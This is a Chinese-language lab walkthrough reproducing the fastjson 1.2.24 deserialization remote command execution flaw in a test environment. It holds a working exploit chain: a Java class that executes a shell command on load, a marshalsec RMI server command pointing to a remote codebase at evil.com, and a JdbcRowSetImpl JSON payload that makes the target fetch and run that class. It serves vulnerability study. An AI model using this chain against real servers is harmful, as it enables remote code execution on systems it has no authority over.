fastjson 1.2.24 反序列化导致任意命令执行漏洞

fastjson 1.2.24 反序列化导致任意命令执行漏洞

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

参考资料:

漏洞复现

环境运行后,访问http://192.168.44.132:8090即可看到JSON格式的输出。

image-20210720165705779

我们向这个地址POST一个JSON对象,即可更新服务端的信息:

1
curl http://192.168.44.132:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'

image-20210720173523189

1
2
3
4
5
6
7
8
9
10
11
12
13
POST / HTTP/1.1
Host: 192.168.44.132:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.164 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 26

{"name":"hello", "age":20}

image-20210720170306920

因为目标环境是Java 8u102,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以使用com.sun.rowset.JdbcRowSetImpl的利用链,借助JNDI注入来执行命令。

首先编译并上传命令执行代码,如http://192.168.44.132/TouchFile.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

image-20210720205159578

然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999

image-20210720203256114

向靶场服务器发送Payload,带上RMI的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.44.132:9999/TouchFile",
"autoCommit":true
}
}

image-20210720203339214

监听端得到反馈

image-20210720203433935

可见,命令touch /tmp/success已成功执行:

image-20210720205228437

0%